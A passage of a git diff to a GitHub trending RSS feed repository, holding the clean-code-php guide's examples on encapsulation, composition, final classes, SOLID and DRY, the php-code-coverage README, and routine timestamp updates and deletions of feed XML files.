</code></pre> <p><strong><a href="https://raw.githubusercontent.com/piotrplenik/clean-code-php/master/#table-of-contents">⬆ back to top</a></strong></p> <h3>Remove dead code</h3> <p>Dead code is just as bad as duplicate code. There's no reason to keep it in your codebase. If it's not being called, get rid of it! It will still be safe in your version history if you still need it.</p> <p><strong>Bad:</strong></p> <pre><code class="language-php">function oldRequestModule(string $url): void { // ... } function newRequestModule(string $url): void { // ... } $request = newRequestModule($requestUrl); inventoryTracker('apples', $request, 'www.inventory-awesome.io'); </code></pre> <p><strong>Good:</strong></p> <pre><code class="language-php">function requestModule(string $url): void { // ... } $request = requestModule($requestUrl); inventoryTracker('apples', $request, 'www.inventory-awesome.io'); </code></pre> <p><strong><a href="https://raw.githubusercontent.com/piotrplenik/clean-code-php/master/#table-of-contents">⬆ back to top</a></strong></p> <h2>Objects and Data Structures</h2> <h3>Use object encapsulation</h3> <p>In PHP you can set <code>public</code>, <code>protected</code> and <code>private</code> keywords for methods. Using it, you can control properties modification on an object.</p> <ul> <li>When you want to do more beyond getting an object property, you don't have to look up and change every accessor in your codebase.</li> <li>Makes adding validation simple when doing a <code>set</code>.</li> <li>Encapsulates the internal representation.</li> <li>Easy to add logging and error handling when getting and setting.</li> <li>Inheriting this class, you can override default functionality.</li> <li>You can lazy load your object's properties, let's say getting it from a server.</li> </ul> <p>Additionally, this is part of <a href="https://raw.githubusercontent.com/piotrplenik/clean-code-php/master/#openclosed-principle-ocp">Open/Closed</a> principle.</p> <p><strong>Bad:</strong></p> <pre><code class="language-php">class BankAccount { public $balance = 1000; } $bankAccount = new BankAccount(); // Buy shoes... $bankAccount-&gt;balance -= 100; </code></pre> <p><strong>Good:</strong></p> <pre><code class="language-php">class BankAccount { private $balance; public function __construct(int $balance = 1000) { $this-&gt;balance = $balance; } public function withdraw(int $amount): void { if ($amount &gt; $this-&gt;balance) { throw new \Exception('Amount greater than available balance.'); } $this-&gt;balance -= $amount; } public function deposit(int $amount): void { $this-&gt;balance += $amount; } &nbsp; &nbsp;public function getBalance(): int { return $this-&gt;balance; } } $bankAccount = new BankAccount(); // Buy shoes... $bankAccount-&gt;withdraw($shoesPrice); // Get balance $balance = $bankAccount-&gt;getBalance(); </code></pre> <p><strong><a href="https://raw.githubusercontent.com/piotrplenik/clean-code-php/master/#table-of-contents">⬆ back to top</a></strong></p> <h3>Make objects have private/protected members</h3> <ul> <li><code>public</code> methods and properties are most dangerous for changes, because some outside code may easily rely on them and you can't control what code relies on them. <strong>Modifications in class are dangerous for all users of class.</strong></li> <li><code>protected</code> modifier are as dangerous as public, because they are available in scope of any child class. This effectively means that difference between public and protected is only in access mechanism, but encapsulation guarantee remains the same. <strong>Modifications in class are dangerous for all descendant classes.</strong></li> <li><code>private</code> modifier guarantees that code is <strong>dangerous to modify only in boundaries of single class</strong> (you are safe for modifications and you won't have <a href="http://www.urbandictionary.com/define.php?term=Jengaphobia&amp;defid=2494196">Jenga effect</a>).</li> </ul> <p>Therefore, use <code>private</code> by default and <code>public/protected</code> when you need to provide access for external classes.</p> <p>For more information you can read the <a href="http://fabien.potencier.org/pragmatism-over-theory-protected-vs-private.html">blog post</a> on this topic written by <a href="https://github.com/fabpot">Fabien Potencier</a>.</p> <p><strong>Bad:</strong></p> <pre><code class="language-php">class Employee { public $name; public function __construct(string $name) { $this-&gt;name = $name; } } $employee = new Employee('John Doe'); // Employee name: John Doe echo 'Employee name: ' . $employee-&gt;name; </code></pre> <p><strong>Good:</strong></p> <pre><code class="language-php">class Employee { private $name; public function __construct(string $name) { $this-&gt;name = $name; } public function getName(): string { return $this-&gt;name; } } $employee = new Employee('John Doe'); // Employee name: John Doe echo 'Employee name: ' . $employee-&gt;getName(); </code></pre> <p><strong><a href="https://raw.githubusercontent.com/piotrplenik/clean-code-php/master/#table-of-contents">⬆ back to top</a></strong></p> <h2>Classes</h2> <h3>Prefer composition over inheritance</h3> <p>As stated famously in <a href="https://en.wikipedia.org/wiki/Design_Patterns"><em>Design Patterns</em></a> by the Gang of Four, you should prefer composition over inheritance where you can. There are lots of good reasons to use inheritance and lots of good reasons to use composition. The main point for this maxim is that if your mind instinctively goes for inheritance, try to think if composition could model your problem better. In some cases it can.</p> <p>You might be wondering then, "when should I use inheritance?" It depends on your problem at hand, but this is a decent list of when inheritance makes more sense than composition:</p> <ol> <li>Your inheritance represents an "is-a" relationship and not a "has-a" relationship (Human-&gt;Animal vs. User-&gt;UserDetails).</li> <li>You can reuse code from the base classes (Humans can move like all animals).</li> <li>You want to make global changes to derived classes by changing a base class. (Change the caloric expenditure of all animals when they move).</li> </ol> <p><strong>Bad:</strong></p> <pre><code class="language-php">class Employee { private $name; private $email; public function __construct(string $name, string $email) { $this-&gt;name = $name; $this-&gt;email = $email; } // ... } // Bad because Employees "have" tax data. // EmployeeTaxData is not a type of Employee class EmployeeTaxData extends Employee { private $ssn; private $salary; public function __construct(string $name, string $email, string $ssn, string $salary) { parent::__construct($name, $email); $this-&gt;ssn = $ssn; $this-&gt;salary = $salary; } // ... } </code></pre> <p><strong>Good:</strong></p> <pre><code class="language-php">class EmployeeTaxData { private $ssn; private $salary; public function __construct(string $ssn, string $salary) { $this-&gt;ssn = $ssn; $this-&gt;salary = $salary; } // ... } class Employee { private $name; private $email; private $taxData; public function __construct(string $name, string $email) { $this-&gt;name = $name; $this-&gt;email = $email; } public function setTaxData(EmployeeTaxData $taxData): void { $this-&gt;taxData = $taxData; } // ... } </code></pre> <p><strong><a href="https://raw.githubusercontent.com/piotrplenik/clean-code-php/master/#table-of-contents">⬆ back to top</a></strong></p> <h3>Avoid fluent interfaces</h3> <p>A <a href="https://en.wikipedia.org/wiki/Fluent_interface">Fluent interface</a> is an object oriented API that aims to improve the readability of the source code by using <a href="https://en.wikipedia.org/wiki/Method_chaining">Method chaining</a>.</p> <p>While there can be some contexts, frequently builder objects, where this pattern reduces the verbosity of the code (for example the <a href="https://phpunit.de/manual/current/en/test-doubles.html">PHPUnit Mock Builder</a> or the <a href="http://docs.doctrine-project.org/projects/doctrine-dbal/en/latest/reference/query-builder.html">Doctrine Query Builder</a>), more often it comes at some costs:</p> <ol> <li>Breaks <a href="https://en.wikipedia.org/wiki/Encapsulation_%28object-oriented_programming%29">Encapsulation</a>.</li> <li>Breaks <a href="https://en.wikipedia.org/wiki/Decorator_pattern">Decorators</a>.</li> <li>Is harder to <a href="https://en.wikipedia.org/wiki/Mock_object">mock</a> in a test suite.</li> <li>Makes diffs of commits harder to read.</li> </ol> <p>For more information you can read the full <a href="https://ocramius.github.io/blog/fluent-interfaces-are-evil/">blog post</a> on this topic written by <a href="https://github.com/Ocramius">Marco Pivetta</a>.</p> <p><strong>Bad:</strong></p> <pre><code class="language-php">class Car { private $make = 'Honda'; private $model = 'Accord'; private $color = 'white'; public function setMake(string $make): self { $this-&gt;make = $make; // NOTE: Returning this for chaining return $this; } public function setModel(string $model): self { $this-&gt;model = $model; // NOTE: Returning this for chaining return $this; } public function setColor(string $color): self { $this-&gt;color = $color; // NOTE: Returning this for chaining return $this; } public function dump(): void { var_dump($this-&gt;make, $this-&gt;model, $this-&gt;color); } } $car = (new Car()) -&gt;setColor('pink') -&gt;setMake('Ford') -&gt;setModel('F-150') -&gt;dump(); </code></pre> <p><strong>Good:</strong></p> <pre><code class="language-php">class Car { private $make = 'Honda'; private $model = 'Accord'; private $color = 'white'; public function setMake(string $make): void { $this-&gt;make = $make; } public function setModel(string $model): void { $this-&gt;model = $model; } public function setColor(string $color): void { $this-&gt;color = $color; } public function dump(): void { var_dump($this-&gt;make, $this-&gt;model, $this-&gt;color); } } $car = new Car(); $car-&gt;setColor('pink'); $car-&gt;setMake('Ford'); $car-&gt;setModel('F-150'); $car-&gt;dump(); </code></pre> <p><strong><a href="https://raw.githubusercontent.com/piotrplenik/clean-code-php/master/#table-of-contents">⬆ back to top</a></strong></p> <h3>Prefer final classes</h3> <p>The <code>final</code> keyword should be used whenever possible:</p> <ol> <li>It prevents an uncontrolled inheritance chain.</li> <li>It encourages <a href="https://raw.githubusercontent.com/piotrplenik/clean-code-php/master/#prefer-composition-over-inheritance">composition</a>.</li> <li>It encourages the <a href="https://raw.githubusercontent.com/piotrplenik/clean-code-php/master/#single-responsibility-principle-srp">Single Responsibility Principle</a>.</li> <li>It encourages developers to use your public methods instead of extending the class to get access to protected ones.</li> <li>It allows you to change your code without breaking applications that use your class.</li> </ol> <p>The only condition is that your class should implement an interface and no other public methods are defined.</p> <p>For more informations you can read <a href="https://ocramius.github.io/blog/when-to-declare-classes-final/">the blog post</a> on this topic written by <a href="https://ocramius.github.io/">Marco Pivetta (Ocramius)</a>.</p> <p><strong>Bad:</strong></p> <pre><code class="language-php">final class Car { private $color; public function __construct($color) { $this-&gt;color = $color; } /** * @return string The color of the vehicle */ public function getColor() { return $this-&gt;color; } } </code></pre> <p><strong>Good:</strong></p> <pre><code class="language-php">interface Vehicle { /** * @return string The color of the vehicle */ public function getColor(); } final class Car implements Vehicle { private $color; public function __construct($color) { $this-&gt;color = $color; } public function getColor() { return $this-&gt;color; } } </code></pre> <p><strong><a href="https://raw.githubusercontent.com/piotrplenik/clean-code-php/master/#table-of-contents">⬆ back to top</a></strong></p> <h2>SOLID</h2> <p><strong>SOLID</strong> is the mnemonic acronym introduced by Michael Feathers for the first five principles named by Robert Martin, which meant five basic principles of object-oriented programming and design.</p> <ul> <li><a href="https://raw.githubusercontent.com/piotrplenik/clean-code-php/master/#single-responsibility-principle-srp">S: Single Responsibility Principle (SRP)</a></li> <li><a href="https://raw.githubusercontent.com/piotrplenik/clean-code-php/master/#openclosed-principle-ocp">O: Open/Closed Principle (OCP)</a></li> <li><a href="https://raw.githubusercontent.com/piotrplenik/clean-code-php/master/#liskov-substitution-principle-lsp">L: Liskov Substitution Principle (LSP)</a></li> <li><a href="https://raw.githubusercontent.com/piotrplenik/clean-code-php/master/#interface-segregation-principle-isp">I: Interface Segregation Principle (ISP)</a></li> <li><a href="https://raw.githubusercontent.com/piotrplenik/clean-code-php/master/#dependency-inversion-principle-dip">D: Dependency Inversion Principle (DIP)</a></li> </ul> <h3>Single Responsibility Principle (SRP)</h3> <p>As stated in Clean Code, "There should never be more than one reason for a class to change". It's tempting to jam-pack a class with a lot of functionality, like when you can only take one suitcase on your flight. The issue with this is that your class won't be conceptually cohesive and it will give it many reasons to change. Minimizing the amount of times you need to change a class is important. It's important because if too much functionality is in one class and you modify a piece of it, it can be difficult to understand how that will affect other dependent modules in your codebase.</p> <p><strong>Bad:</strong></p> <pre><code class="language-php">class UserSettings { private $user; public function __construct(User $user) { $this-&gt;user = $user; } public function changeSettings(array $settings): void { if ($this-&gt;verifyCredentials()) { // ... } } private function verifyCredentials(): bool { // ... } } </code></pre> <p><strong>Good:</strong></p> <pre><code class="language-php">class UserAuth { private $user; public function __construct(User $user) { $this-&gt;user = $user; } public function verifyCredentials(): bool { // ... } } class UserSettings { private $user; private $auth; public function __construct(User $user) { $this-&gt;user = $user; $this-&gt;auth = new UserAuth($user); } public function changeSettings(array $settings): void { if ($this-&gt;auth-&gt;verifyCredentials()) { // ... } } } </code></pre> <p><strong><a href="https://raw.githubusercontent.com/piotrplenik/clean-code-php/master/#table-of-contents">⬆ back to top</a></strong></p> <h3>Open/Closed Principle (OCP)</h3> <p>As stated by Bertrand Meyer, "software entities (classes, modules, functions, etc.) should be open for extension, but closed for modification." What does that mean though? This principle basically states that you should allow users to add new functionalities without changing existing code.</p> <p><strong>Bad:</strong></p> <pre><code class="language-php">abstract class Adapter { protected $name; public function getName(): string { return $this-&gt;name; } } class AjaxAdapter extends Adapter { public function __construct() { parent::__construct(); $this-&gt;name = 'ajaxAdapter'; } } class NodeAdapter extends Adapter { public function __construct() { parent::__construct(); $this-&gt;name = 'nodeAdapter'; } } class HttpRequester { private $adapter; public function __construct(Adapter $adapter) { $this-&gt;adapter = $adapter; } public function fetch(string $url): Promise { $adapterName = $this-&gt;adapter-&gt;getName(); if ($adapterName === 'ajaxAdapter') { return $this-&gt;makeAjaxCall($url); } elseif ($adapterName === 'httpNodeAdapter') { return $this-&gt;makeHttpCall($url); } } private function makeAjaxCall(string $url): Promise { // request and return promise } private function makeHttpCall(string $url): Promise { // request and return promise } } </code></pre> <p><strong>Good:</strong></p> <pre><code class="language-php">interface Adapter { public function request(string $url): Promise; } class AjaxAdapter implements Adapter { public function request(string $url): Promise { // request and return promise } } class NodeAdapter implements Adapter { public function request(string $url): Promise { // request and return promise } } class HttpRequester { private $adapter; public function __construct(Adapter $adapter) { $this-&gt;adapter = $adapter; } public function fetch(string $url): Promise { return $this-&gt;adapter-&gt;request($url); } } </code></pre> <p><strong><a href="https://raw.githubusercontent.com/piotrplenik/clean-code-php/master/#table-of-contents">⬆ back to top</a></strong></p> <h3>Liskov Substitution Principle (LSP)</h3> <p>This is a scary term for a very simple concept. It's formally defined as "If S is a subtype of T, then objects of type T may be replaced with objects of type S (i.e., objects of type S may substitute objects of type T) without altering any of the desirable properties of that program (correctness, task performed, etc.)." That's an even scarier definition.</p> <p>The best explanation for this is if you have a parent class and a child class, then the base class and child class can be used interchangeably without getting incorrect results. This might still be confusing, so let's take a look at the classic Square-Rectangle example. Mathematically, a square is a rectangle, but if you model it using the "is-a" relationship via inheritance, you quickly get into trouble.</p> <p><strong>Bad:</strong></p> <pre><code class="language-php">class Rectangle { protected $width = 0; protected $height = 0; public function setWidth(int $width): void { $this-&gt;width = $width; } public function setHeight(int $height): void { $this-&gt;height = $height; } public function getArea(): int { return $this-&gt;width * $this-&gt;height; } } class Square extends Rectangle { public function setWidth(int $width): void { $this-&gt;width = $this-&gt;height = $width; } public function setHeight(int $height): void { $this-&gt;width = $this-&gt;height = $height; } } function printArea(Rectangle $rectangle): void { $rectangle-&gt;setWidth(4); $rectangle-&gt;setHeight(5); // BAD: Will return 25 for Square. Should be 20. echo sprintf('%s has area %d.', get_class($rectangle), $rectangle-&gt;getArea()) . PHP_EOL; } $rectangles = [new Rectangle(), new Square()]; foreach ($rectangles as $rectangle) { printArea($rectangle); } </code></pre> <p><strong>Good:</strong></p> <p>The best way is separate the quadrangles and allocation of a more general subtype for both shapes.</p> <p>Despite the apparent similarity of the square and the rectangle, they are different. A square has much in common with a rhombus, and a rectangle with a parallelogram, but they are not subtypes. A square, a rectangle, a rhombus and a parallelogram are separate shapes with their own properties, albeit similar.</p> <pre><code class="language-php">interface Shape { public function getArea(): int; } class Rectangle implements Shape { private $width = 0; private $height = 0; public function __construct(int $width, int $height) { $this-&gt;width = $width; $this-&gt;height = $height; } public function getArea(): int { return $this-&gt;width * $this-&gt;height; } } class Square implements Shape { private $length = 0; public function __construct(int $length) { $this-&gt;length = $length; } public function getArea(): int { &nbsp; &nbsp; &nbsp; &nbsp;return $this-&gt;length ** 2; &nbsp; &nbsp;} } function printArea(Shape $shape): void { echo sprintf('%s has area %d.', get_class($shape), $shape-&gt;getArea()).PHP_EOL; } $shapes = [new Rectangle(4, 5), new Square(5)]; foreach ($shapes as $shape) { printArea($shape); } </code></pre> <p><strong><a href="https://raw.githubusercontent.com/piotrplenik/clean-code-php/master/#table-of-contents">⬆ back to top</a></strong></p> <h3>Interface Segregation Principle (ISP)</h3> <p>ISP states that "Clients should not be forced to depend upon interfaces that they do not use."</p> <p>A good example to look at that demonstrates this principle is for classes that require large settings objects. Not requiring clients to set up huge amounts of options is beneficial, because most of the time they won't need all of the settings. Making them optional helps prevent having a "fat interface".</p> <p><strong>Bad:</strong></p> <pre><code class="language-php">interface Employee { public function work(): void; public function eat(): void; } class HumanEmployee implements Employee { public function work(): void { // ....working } public function eat(): void { // ...... eating in lunch break } } class RobotEmployee implements Employee { public function work(): void { //.... working much more } public function eat(): void { //.... robot can't eat, but it must implement this method } } </code></pre> <p><strong>Good:</strong></p> <p>Not every worker is an employee, but every employee is a worker.</p> <pre><code class="language-php">interface Workable { public function work(): void; } interface Feedable { public function eat(): void; } interface Employee extends Feedable, Workable { } class HumanEmployee implements Employee { public function work(): void { // ....working } public function eat(): void { //.... eating in lunch break } } // robot can only work class RobotEmployee implements Workable { public function work(): void { // ....working } } </code></pre> <p><strong><a href="https://raw.githubusercontent.com/piotrplenik/clean-code-php/master/#table-of-contents">⬆ back to top</a></strong></p> <h3>Dependency Inversion Principle (DIP)</h3> <p>This principle states two essential things:</p> <ol> <li>High-level modules should not depend on low-level modules. Both should depend on abstractions.</li> <li>Abstractions should not depend upon details. Details should depend on abstractions.</li> </ol> <p>This can be hard to understand at first, but if you've worked with PHP frameworks (like Symfony), you've seen an implementation of this principle in the form of Dependency Injection (DI). While they are not identical concepts, DIP keeps high-level modules from knowing the details of its low-level modules and setting them up. It can accomplish this through DI. A huge benefit of this is that it reduces the coupling between modules. Coupling is a very bad development pattern because it makes your code hard to refactor.</p> <p><strong>Bad:</strong></p> <pre><code class="language-php">class Employee { public function work(): void { // ....working } } class Robot extends Employee { public function work(): void { //.... working much more } } class Manager { private $employee; public function __construct(Employee $employee) { $this-&gt;employee = $employee; } public function manage(): void { $this-&gt;employee-&gt;work(); } } </code></pre> <p><strong>Good:</strong></p> <pre><code class="language-php">interface Employee { public function work(): void; } class Human implements Employee { public function work(): void { // ....working } } class Robot implements Employee { public function work(): void { //.... working much more } } class Manager { private $employee; public function __construct(Employee $employee) { $this-&gt;employee = $employee; } public function manage(): void { $this-&gt;employee-&gt;work(); } } </code></pre> <p><strong><a href="https://raw.githubusercontent.com/piotrplenik/clean-code-php/master/#table-of-contents">⬆ back to top</a></strong></p> <h2>Don’t repeat yourself (DRY)</h2> <p>Try to observe the <a href="https://en.wikipedia.org/wiki/Don%27t_repeat_yourself">DRY</a> principle.</p> <p>Do your absolute best to avoid duplicate code. Duplicate code is bad because it means that there's more than one place to alter something if you need to change some logic.</p> <p>Imagine if you run a restaurant and you keep track of your inventory: all your tomatoes, onions, garlic, spices, etc. If you have multiple lists that you keep this on, then all have to be updated when you serve a dish with tomatoes in them. If you only have one list, there's only one place to update!</p> <p>Often you have duplicate code because you have two or more slightly different things, that share a lot in common, but their differences force you to have two or more separate functions that do much of the same things. Removing duplicate code means creating an abstraction that can handle this set of different things with just one function/module/class.</p> <p>Getting the abstraction right is critical, that's why you should follow the SOLID principles laid out in the <a href="https://raw.githubusercontent.com/piotrplenik/clean-code-php/master/#classes">Classes</a> section. Bad abstractions can be worse than duplicate code, so be careful! Having said this, if you can make a good abstraction, do it! Don't repeat yourself, otherwise you'll find yourself updating multiple places any time you want to change one thing.</p> <p><strong>Bad:</strong></p> <pre><code class="language-php">function showDeveloperList(array $developers): void { foreach ($developers as $developer) { $expectedSalary = $developer-&gt;calculateExpectedSalary(); $experience = $developer-&gt;getExperience(); $githubLink = $developer-&gt;getGithubLink(); $data = [$expectedSalary, $experience, $githubLink]; render($data); } } function showManagerList(array $managers): void { foreach ($managers as $manager) { $expectedSalary = $manager-&gt;calculateExpectedSalary(); $experience = $manager-&gt;getExperience(); $githubLink = $manager-&gt;getGithubLink(); $data = [$expectedSalary, $experience, $githubLink]; render($data); } } </code></pre> <p><strong>Good:</strong></p> <pre><code class="language-php">function showList(array $employees): void { foreach ($employees as $employee) { $expectedSalary = $employee-&gt;calculateExpectedSalary(); $experience = $employee-&gt;getExperience(); $githubLink = $employee-&gt;getGithubLink(); $data = [$expectedSalary, $experience, $githubLink]; render($data); } } </code></pre> <p><strong>Very good:</strong></p> <p>It is better to use a compact version of the code.</p> <pre><code class="language-php">function showList(array $employees): void { foreach ($employees as $employee) { render([$employee-&gt;calculateExpectedSalary(), $employee-&gt;getExperience(), $employee-&gt;getGithubLink()]); } } </code></pre> <p><strong><a href="https://raw.githubusercontent.com/piotrplenik/clean-code-php/master/#table-of-contents">⬆ back to top</a></strong></p> <h2>Translations</h2> <p>This is also available in other languages:</p> <ul> <li><span>🇨🇳</span> <strong>Chinese:</strong> <ul> <li><a href="https://github.com/php-cpm/clean-code-php">php-cpm/clean-code-php</a></li> </ul> </li> <li><span>🇷🇺</span> <strong>Russian:</strong> <ul> <li><a href="https://github.com/peter-gribanov/clean-code-php">peter-gribanov/clean-code-php</a></li> </ul> </li> <li><span>🇪🇸</span> <strong>Spanish:</strong> <ul> <li><a href="https://github.com/fikoborquez/clean-code-php">fikoborquez/clean-code-php</a></li> </ul> </li> <li><span>🇧🇷</span> <strong>Portuguese:</strong> <ul> <li><a href="https://github.com/fabioars/clean-code-php">fabioars/clean-code-php</a></li> <li><a href="https://github.com/jeanjar/clean-code-php/tree/pt-br">jeanjar/clean-code-php</a></li> </ul> </li> <li><span>🇹🇭</span> <strong>Thai:</strong> <ul> <li><a href="https://github.com/panuwizzle/clean-code-php">panuwizzle/clean-code-php</a></li> </ul> </li> <li><span>🇫🇷</span> <strong>French:</strong> <ul> <li><a href="https://github.com/errorname/clean-code-php">errorname/clean-code-php</a></li> </ul> </li> <li><span>🇻🇳</span> <strong>Vietnamese:</strong> <ul> <li><a href="https://github.com/viethuongdev/clean-code-php">viethuongdev/clean-code-php</a></li> </ul> </li> <li><span>🇰🇷</span> <strong>Korean:</strong> <ul> <li><a href="https://github.com/yujineeee/clean-code-php">yujineeee/clean-code-php</a></li> </ul> </li> <li><span>🇹🇷</span> <strong>Turkish:</strong> <ul> <li><a href="https://github.com/anilozmen/clean-code-php">anilozmen/clean-code-php</a></li> </ul> </li> <li><span>🇮🇷</span> <strong>Persian:</strong> <ul> <li><a href="https://github.com/amirshnll/clean-code-php">amirshnll/clean-code-php</a></li> </ul> </li> <li><span>🇧🇩</span> <strong>Bangla:</strong> <ul> <li><a href="https://github.com/nayeemdev/clean-code-php">nayeemdev/clean-code-php</a></li> </ul> </li> <li><span>🇪🇬</span> <strong>Arabic:</strong> <ul> <li><a href="https://github.com/ahmedalmory/clean-code-php">ahmedalmory/clean-code-php</a></li> </ul> </li> <li><span>🇯🇵</span> <strong>Japanese:</strong> <ul> <li><a href="https://github.com/hayato07/clean-code-php">hayato07/clean-code-php</a></li> </ul> </li> </ul> <p><strong><a href="https://raw.githubusercontent.com/piotrplenik/clean-code-php/master/#table-of-contents">⬆ back to top</a></strong></p> - - - sebastianbergmann/php-code-coverage - 2023-09-24T01:57:58Z - tag:github.com,2023-09-24:/sebastianbergmann/php-code-coverage - - <p>Library that provides collection, processing, and rendering functionality for PHP code coverage information.</p><hr><h1>phpunit/php-code-coverage</h1> <p><a href="https://packagist.org/packages/phpunit/php-code-coverage"><img src="https://poser.pugx.org/phpunit/php-code-coverage/v/stable.png" alt="Latest Stable Version"></a> <a href="https://github.com/sebastianbergmann/php-code-coverage/actions"><img src="https://github.com/sebastianbergmann/php-code-coverage/workflows/CI/badge.svg?sanitize=true" alt="CI Status"></a> <a href="https://shepherd.dev/github/sebastianbergmann/php-code-coverage"><img src="https://shepherd.dev/github/sebastianbergmann/php-code-coverage/coverage.svg?sanitize=true" alt="Type Coverage"></a> <a href="https://codecov.io/gh/sebastianbergmann/php-code-coverage"><img src="https://codecov.io/gh/sebastianbergmann/php-code-coverage/branch/main/graph/badge.svg?sanitize=true" alt="codecov"></a></p> <p>Provides collection, processing, and rendering functionality for PHP code coverage information.</p> <h2>Installation</h2> <p>You can add this library as a local, per-project dependency to your project using <a href="https://getcomposer.org/">Composer</a>:</p> <pre><code>composer require phpunit/php-code-coverage </code></pre> <p>If you only need this library during development, for instance to run your project's test suite, then you should add it as a development-time dependency:</p> <pre><code>composer require --dev phpunit/php-code-coverage </code></pre> <h2>Usage</h2> <pre><code class="language-php">&lt;?php declare(strict_types=1); use SebastianBergmann\CodeCoverage\Filter; use SebastianBergmann\CodeCoverage\Driver\Selector; use SebastianBergmann\CodeCoverage\CodeCoverage; use SebastianBergmann\CodeCoverage\Report\Html\Facade as HtmlReport; $filter = new Filter; $filter-&gt;includeFiles( [ '/path/to/file.php', '/path/to/another_file.php', ] ); $coverage = new CodeCoverage( (new Selector)-&gt;forLineCoverage($filter), $filter ); $coverage-&gt;start('&lt;name of test&gt;'); // ... $coverage-&gt;stop(); (new HtmlReport)-&gt;process($coverage, '/tmp/code-coverage-report'); </code></pre> - - \ No newline at end of file diff --git a/pic/daily/index.xml b/pic/daily/index.xml index 71e7880ab17..00f122834a8 100644 --- a/pic/daily/index.xml +++ b/pic/daily/index.xml @@ -1,7 +1,7 @@ GitHub Pic Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:37:45Z + 2023-09-25T01:37:02Z Daily Trending of Pic in GitHub \ No newline at end of file diff --git a/pic/weekly/index.xml b/pic/weekly/index.xml deleted file mode 100644 index 4b3c60ab410..00000000000 --- a/pic/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Pic Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:57:44Z - Weekly Trending of Pic in GitHub - - \ No newline at end of file diff --git a/pickle/daily/index.xml b/pickle/daily/index.xml index aa6137c185a..26eab0f6729 100644 --- a/pickle/daily/index.xml +++ b/pickle/daily/index.xml @@ -1,7 +1,7 @@ GitHub Pickle Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:38:13Z + 2023-09-25T01:37:26Z Daily Trending of Pickle in GitHub \ No newline at end of file diff --git a/pickle/weekly/index.xml b/pickle/weekly/index.xml deleted file mode 100644 index d220d47fb28..00000000000 --- a/pickle/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Pickle Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:58:08Z - Weekly Trending of Pickle in GitHub - - \ No newline at end of file diff --git a/picolisp/daily/index.xml b/picolisp/daily/index.xml index 0d7941f0913..31f43bd7456 100644 --- a/picolisp/daily/index.xml +++ b/picolisp/daily/index.xml @@ -1,7 +1,7 @@ GitHub PicoLisp Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:38:14Z + 2023-09-25T01:37:25Z Daily Trending of PicoLisp in GitHub \ No newline at end of file diff --git a/picolisp/weekly/index.xml b/picolisp/weekly/index.xml deleted file mode 100644 index cb3e5c54d96..00000000000 --- a/picolisp/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub PicoLisp Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:58:10Z - Weekly Trending of PicoLisp in GitHub - - \ No newline at end of file diff --git a/piglatin/daily/index.xml b/piglatin/daily/index.xml index 3be67a07450..f254687565c 100644 --- a/piglatin/daily/index.xml +++ b/piglatin/daily/index.xml @@ -1,7 +1,7 @@ GitHub PigLatin Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:38:14Z + 2023-09-25T01:37:27Z Daily Trending of PigLatin in GitHub \ No newline at end of file diff --git a/piglatin/weekly/index.xml b/piglatin/weekly/index.xml deleted file mode 100644 index 77d6c3b05c9..00000000000 --- a/piglatin/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub PigLatin Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:58:09Z - Weekly Trending of PigLatin in GitHub - - \ No newline at end of file diff --git a/pike/daily/index.xml b/pike/daily/index.xml index 3623dcea45c..ba84609576c 100644 --- a/pike/daily/index.xml +++ b/pike/daily/index.xml @@ -1,7 +1,7 @@ GitHub Pike Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:38:15Z + 2023-09-25T01:37:26Z Daily Trending of Pike in GitHub \ No newline at end of file diff --git a/pike/weekly/index.xml b/pike/weekly/index.xml deleted file mode 100644 index 062456b4235..00000000000 --- a/pike/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Pike Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:58:11Z - Weekly Trending of Pike in GitHub - - \ No newline at end of file diff --git a/plantuml/daily/index.xml b/plantuml/daily/index.xml index f9106997ad9..57740fff9a6 100644 --- a/plantuml/daily/index.xml +++ b/plantuml/daily/index.xml @@ -1,7 +1,7 @@ GitHub PlantUML Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:38:17Z + 2023-09-25T01:37:30Z Daily Trending of PlantUML in GitHub \ No newline at end of file diff --git a/plantuml/weekly/index.xml b/plantuml/weekly/index.xml deleted file mode 100644 index 2d10f5e7d66..00000000000 --- a/plantuml/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub PlantUML Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:58:13Z - Weekly Trending of PlantUML in GitHub - - \ No newline at end of file diff --git a/plpgsql/daily/index.xml b/plpgsql/daily/index.xml index c3506a6c1f6..412f2936bd7 100644 --- a/plpgsql/daily/index.xml +++ b/plpgsql/daily/index.xml @@ -1,21 +1,14 @@ GitHub PLpgSQL Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:38:20Z + 2023-09-25T01:37:32Z Daily Trending of PLpgSQL in GitHub - hacklabr/mapas-UFPEL - 2023-09-24T01:38:20Z - tag:github.com,2023-09-24:/hacklabr/mapas-UFPEL - - <p></p><hr> - - - SocialGouv/recosante - 2023-09-24T01:38:20Z - tag:github.com,2023-09-24:/SocialGouv/recosante - - <p></p><hr> + tripal/tripal + 2023-09-25T01:37:32Z + tag:github.com,2023-09-25:/tripal/tripal + + <p>The Tripal package is a suite of Drupal modules for creating biological (genomic, genetic, breeding) websites. Visit the Tripal homepage at http://tripal.info for documentation, support, and other information. The Drupal project page is at http://drupal.org/project/tripal.</p><hr> \ No newline at end of file diff --git a/plpgsql/weekly/index.xml b/plpgsql/weekly/index.xml deleted file mode 100644 index a697432c7c5..00000000000 --- a/plpgsql/weekly/index.xml +++ /dev/null @@ -1,14 +0,0 @@ 